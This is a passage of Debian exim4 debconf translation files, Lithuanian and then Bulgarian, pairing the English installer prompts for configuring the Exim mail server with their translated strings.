prievadu, " "prirašykite du dvitaškius ir prievado numerį (pvz., smarthost.example::587 " "or 192.168.254.254::2525). Dvitaškiai IPv6 adresuose turi būti dvigubinami." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Jei „smarthost“ serveris naudoja autentikaciją, skaitykite Debian " "README failus aplanke /usr/share/doc/exim4-base apie tai, kaip " "sukonfigūruoti SMTP autentikaciją." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Pašto, adresuoto root ir postmaster paskyroms, gavėjas:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Paštas „postmaster“, „root“ ir kitoms sisteminėms paskyroms turi būti " "peradresuotas tikrajam sistemos administratoriui." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Jei ši reikšmė paliekama tuščia, tokie laiškai bus saugomi /var/mail/mail " "(nerekuomenduojama)." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Naudotojo „postmaster“ paštas turėtų būti skaitomas toje sistemoje, kuriai " "išsiųstas, o ne persiųstas kitur, todėl bent vienas iš pateiktų naudotojų " "turėtų nenaudoti automatinio pašto persiuntimo į kitą sistemą. Galite " "naudoti prefiksą „real-“, jei norite priversti vietinį pristatymą." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Kelios paskyros turi būti atskirtos tarpais." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Vietiniai IP adresai, kuriais laukti įeinančių SMTP ryšių:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Įveskite kabliataškiais atskirtų IP adresų sąrašą. Exim SMTP pašto priėmimo " "tarnyba lauks prisijungimų visais čia nurodytais IP adresais." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Jei paliksite šį lauką tuščią, Exim lauks prisijungimų visais tinklo " "interfeisais." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Jei šis kompiuteris priima elektroninį paštą tik tiesiogiai iš vietinių " "tarnybų (o ne iš kitų kompiuterių), rekomenduojama uždrausti išorinius " "prisijungimus prie Exim tarnybos. Tarnybų pavyzdžiai: MUA, bendraujantys " "tik su localhost, fetchmail. Jei čia įvesta tik 127.0.0.1, išoriniai " "prisijungimai bus neįmanomi, nes nebus klausimasi ant viešų tinklo " "interfeisų." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Ar minimizuoti DNS užklausų kiekį?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Paprastai Exim vykdo DNS užklausas įkėlimo metu bei priimant / išsiunčiant " "pranešimus. DNS vardai naudojami pildant žurnalą ir leidžia sumažinti IP " "adresų skaičių Exim nustatymuose." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Jei šis kompiuteris neturi pastovaus priėjimo prie DNS serverio (pvz., " "naudoja prisiskambinimą pagal pareikalavimą), ši funkcija gali sukelti " "nepageidaujamų pasekmių,pvz., Exim įkėlimo metu arba apdorojant eiles (net " "jei jose nėra laukiančių pranešimų) gali būti inicijuojamas brangus " "prisiskambinimas." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Ši funkcija turėtų būti pasirinkta, jei sistema naudoja skambinimą pagal " "pareikalavimą. Jei internetas visada prieinamas, ši funkcija turėtų būti " "išjungta." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Pašto tarnybos konfigūracija" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Ar suskaidyti konfigūraciją į mažas rinkmenas?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debian exim4 paketai galutinės konfigūracijos generavimui gali naudoti " "„neskaidytą konfigūraciją“ (vieną monolitišką failą /etc/exim4/exim4.conf." "template), arba „suskaidytą konfigūraciją“, sudaryta iš maždaug 50 mažesnių " "failų aplanke /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Neskaidyta konfigūracija labiau tinka stambiems pakeitimams ir apskritai yra " "daug stabilesnė, tuo tarpu skaidyta patogesnė nedideliems pakeitimams, bet " "yra trapesnė ir gali nustoti veikti atlikus didelius pakeitimus." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Platesnė diskusija apie neskaidytą ir skaidytą konfigūracijas aprašyta " "Debian README failuose aplanke /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Slėpti vietinį pašto vardą siunčiamame pašte?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Siunčiamo pašto antraštės gali būti perrašytos, kad atrodytų, jog paštas " "išsiųstas iš kitos sistemos. Jei pasirinksite šį nustatymą, „${mailname}“, " "„localhost“ ir „${dc_other_hostnames}“ antraštėse From, Reply-To, Sender ir " "Return-Path bus perrašyti." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox formatas /var/mail/ aplanke" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir formatas namų aplanke" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Pristatymo metodas vietiniam paštui:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim gali saugoti pristatytą paštą keliais formatais. Dažniausiai naudojami " "mbox ir Maildir. mbox formatu visas paštas rašomas į vieną rinkmeną aplanke /" "var/mail/. Maildir formatu kiekvienas laiškas saugomas atskiroje rinkmenoje " "aplanke ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Nepamirškite, kad dauguma pašto įrankių Debiane pagal nutylėjimą tikisi " "„mbox“ pristatymo metodo." #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "Ar perkelti neišsiųstus laiškus iš exim(v3) į exim4 pašto eilę?" #, fuzzy #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Exim(v3) (arba exim-tls(v3)) pašto eilės kataloge /var/spool/exim/input/ " #~ "yra neišsiųstų laiškų." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Jei šis nustatymas pasirinktas, laiškai bus perkelti į exim4 pašto eilės " #~ "katalogą (/var/spool/exim4/input/), kur jie bus apdorojami exim4." #, fuzzy #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Versijos suderinamos tik viena kryptimi: Exim4 gali dirbti su exim(v3) " #~ "pašto eile, bet ne atvirkščiai. Perkelkite laiškus tik jei neplanuojate " #~ "grįžti prie exim(v3). Kitu atveju laiškus reikėtų perkelti vėliau " #~ "rankiniu būdu." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "" #~ "Jei paliksite šį sąrašą tuščią, Exim vietinis pristatymas bus išjungtas." debian/po/bg.po0000644000000000000000000011363512027557533010556 0ustar # translation of exim4_debian_po_bg.po to Bulgarian # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # Developers do not need to manually edit POT or PO files. # # Ognyan Kulev , 2004. # Damyan Ivanov , 2006, 2007. msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-06 13:11+0300\n" "Last-Translator: Damyan Ivanov \n" "Language-Team: Bulgarian \n" "Language: bg\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Премахване на неизпратената поща от опашката?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "В директорията /var/spool/exim4/input/ има поща, която още не е изпратена. " "Премахването на Exim ще остави тази поща да чака, докато не инсталирате Exim " "отново." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Ако изберете да запазите опашката, съобщенията в нея ще бъдат доставени при " "последваща нова инсталация на Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Настройте exim4-config, а не този пакет" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Конфигурацията на Exim4 е отделена в отделен пакет - exim4-config. Ако " "искате да промените настройките на Exim4, използвайте командата „dpkg-" "reconfigure exim4-config“." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "Интернет сайт; пощата се получава и изпраща чрез SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "пощата се изпраща чрез smarthost; получава се чрез SMTP или fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "пощата се изпраща чрез smarthost; няма локална поща" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "само локална поща; без мрежа" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "без настройка засега" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Базова настройка на пощата:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "Изберете базова настройка, която най-добре отразява Вашите нужди." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Системите с динамичен IP адрес, включително тези, които използват dial-up за " "достъп до Интернет, обикновено се настройват да изпращат изходящата поща към " "друга машина, наричана „smarthost“. Това се прави защото много пощенски " "системи в Интернет блокират пощата, пристигаща от динамични IP адреси като " "мярка срещу нежелана поща (spam)." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Система с динамичен IP адрес може да има или да няма вътрешна поща " "(препоръчително е пощата за „root“ и „postmaster“ да се доставя винаги " "локално)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Наистина ли желаете да оставите пощенската система без настройка?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Пощенската система ще бъде неизползваема докато не бъде настроена. " "Настройването може да стане и по-късно - ръчно или чрез изпълнение на „dpkg-" "reconfigure exim4-config“ като root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Пощенско име на системата:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "„Пощенското име“ се използва за допълване на пощенски адреси без домейн." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Това име ще бъде използвано и от други програми и трябва да бъде пълно име " "на домейн (FQDN – Fully Qualified Domain Name)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Например, ако даден пощенски адрес на този компютър е foo@example.org, то " "правилното пощенско име е example.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Ако пренаписването на адресите (rewriting) е активирано, това име няма да се " "показва в редовете From: на изходящата поща." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Други направления, за които да бъде приемана поща:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Въведете списък на домейни, разделени с точка и запетая, за които тази " "машина ще бъде считана за крайна цел. Тези домейни обикновено се наричат " "„локални домейни“. Към списъка автоматично се добавят името на хоста " "(${fqdn}) и „localhost“." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "По подразбиране всички домейни се третират еднакво. Ако например a.example и " "b.example за локални домейни, пощата за „acc@a.example“ и „acc@b.example“ ще " "бъде доставена на едно и също място. Ако различните домейни трябва да се " "третират различно, трябва ръчно да промените файловете с настройките." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Домейни, чиято поща да бъде препредавана (relay):" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Въведете списък от домейни, разделени с точка и запетая, за които тази " "система ще приема поща за препращане, например като резервен пощенски сървър " "(MX) или пощенски шлюз. Системата ще приема поща за тези домейни от " "произволни места в Интернет и ще я доставя според локално-дефинираните " "правила." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "Не въвеждайте локалните домейни. За група домейни можете да използвате „*“. " "Например „*.domain.example“ означава да се приема за препращане пощата, " "адресирана за всеки под-домейн на „domain.example“." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Машини, пощата от които да бъде препредавана:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Въведете списък от IP адресни диапазони, разделени с точка и запетая, от " "които тази система да приема и препредава поща, изпълнявайки функциите на " "smarthost." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Използвайте стандартния формат за адресни диапазони „адрес/" "дължина“ (например 194.222.242.0/24 или 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "В случай, че тази система не трябва да функционира като smarthost на никого, " "то оставете полето празно." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Видим домейн за локалните потребители:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Настройката за скриването на локалното пощенско име е активирана. Необходимо " "е да въведете домейн, който да бъде използван за пощата, изпращана от " "локалните потребители." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "IP адрес или име на smarthost за изходящата поща:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Въведете IP адрес или име на пощенски сървър (smarthost), който да се " "използва за изпращане на изходящата поща. Ако този сървър приема поща само " "на порт, различен от TCP/25, добавете две двоеточия, последвани от номера на " "порта. (например smarthost.example:587 или 192.168.254.254::2525). " "Двоеточията в IPv6 адресите трябва да се въвеждат по два пъти." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "В случай, че smarthost-сървърът изисква удостоверяваме, допълнителна " "информация за настройките има във файловете в /usr/share/doc/exim4-base/." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Получател на пощата за root и postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Пощата за „postmaster“ и „root“, както и за други системни потребители " "трябва да бъде пренасочена към администратора на системата." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Ако оставите полето празно, пощата ще бъде записвана във /var/mail/mail, " "което не се препоръчва." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Пощата за postmaster обикновено трябва да бъде четена на системата, за която " "е предназначена, вместо да бъде пренасочвана другаде, така че поне един от " "потребителите, които сте избрали, не трябва да пренасочва пощата си към " "друга машина. Използвайте представката „real-“, за да принудите локално " "доставяне на пощата." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Въведете едно или повече потребителски имена, разделени с интервал." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP адреси, на които да се чака за SMTP връзки:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Въведете списък с IP адреси, разделени с точка и запетая. Процесът за " "приемане на SMTP връзки на Exim ще очаква връзки на всички изброени адреси." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Ако оставите това поле празно, Exim ще чака за SMTP връзки на всички налични " "мрежови интерфейси." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Ако тази система получава поща само от локални услуги като fetchmail или " "програми за четене на поща (MUA), които се свързват с localhost, " "препоръчително е да забраните външните връзки към Exim чрез въвеждане на " "„127.0.0.1“. Това ще забрани връзките от всички общодостъпни мрежови " "интерфейси." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Поддържане на минимален брой на заявките към DNS (Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "В нормален режим на работа Exim прави заявки към DNS при стартиране, при " "получаване, при изпращане на поща и т.н. Това се прави за целите на " "хроникирането и за да се избегне въвеждането на твърдо зададени стойности " "във файловете с настройки." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Ако системата ви няма постоянен достъп до DNS-сървър (например ако " "използвате dial-up с набиране при нужда), това може да има нежелани " "последствия. Например стартирането на Exim или обработването на опашката " "(дори да е празна) може да предизвика активиране на dial-up-връзката, което " "струва пари." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Изберете тази настройка ако системата ви използва набиране при нужда (dial-" "on-demand). Ако използвате постоянна връзка с Интернет, не активирайте тази " "настройка." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Настройка на пощенския сървър" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Разделяне на настройката в малки файлове?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Пакетите на Exim4 могат да използват два подхода към настройката. При " "„монолитната настройка“ всички параметри са в един голям файл (/etc/exim4/" "exim4.conf.template). При „разделената настройка“, параметрите са " "разпръснати в около 50 по-малки файла в /etc/exim4/conf.d." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Първият вариант е по-добре пригоден за големи промени и като цяло е по-" "стабилен, докато вторият предлага по-удобен начин да се правят малки " "промени, но е по-капризен и може да доведе до проблеми ако промените се " "правят невнимателно." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "По-подробна дискусия на двата подхода може да бъде намерена във файловете " "README в /usr/share/doc/exim4-base/." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Скриване на локалното пощенско име в изходящата поща?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Заглавките на изходящата поща могат да бъдат пренаписвани, за да изглеждат " "сякаш са генерирани от друга система, заменяйки „${mailname}“, „localhost“ и " "„${dc_other_hostnames}“ във From, Reply-To, Sender и Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "формат mbox във /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "формат Maildir в домашната директория на потребителя" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Начин на доставяне на локалната поща:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim може да доставя локалната поща в различни формати. Най-разпространените " "са mbox и Maildir. mbox използва един файл във /var/mail/, който съдържа за " "всички съобщения. При Maildir всяко съобщение се съхранява в отделен файл в " "~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Имайте предвид, че повечето инструменти за работа с поща в Debian по " "подразбиране очакват методът за доставка на локалната поща да е mbox." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Преместване на все още неизпратената поща от exim 3 в опашката на exim4?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "В опашката на exim 3 (или exim-tls 3) - /var/spool/exim/input/ - има все " #~ "още неизпратена поща." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Ако потвърдите, тази поща ще бъде преместена в опашката на exim4 (/var/" #~ "spool/exim4/input/), където ще бъде обработена от exim4." #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Тази процедура работи само в едната посока. Exim4 може да работи с " #~ "опашката на exim 3, но обратното не е възможно. Ако откажете " #~ "автоматичното преместване, писмата няма да бъдат доставени освен ако не " #~ "ги преместите ръчно." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "Ако оставите това поле празно, Exim няма да доставя поща локално." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Забележете, че това работи само в една посока: exim4 може да обработи " #~ "spool на exim(v3), но обратната посока е невъзможна." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Преместете пощата само ако не планирате да се връщате към exim(v3), иначе " #~ "пощата не трябва да се премества сега, а ръчно, след като преобразувате " #~ "Вашите настройки." #~ msgid 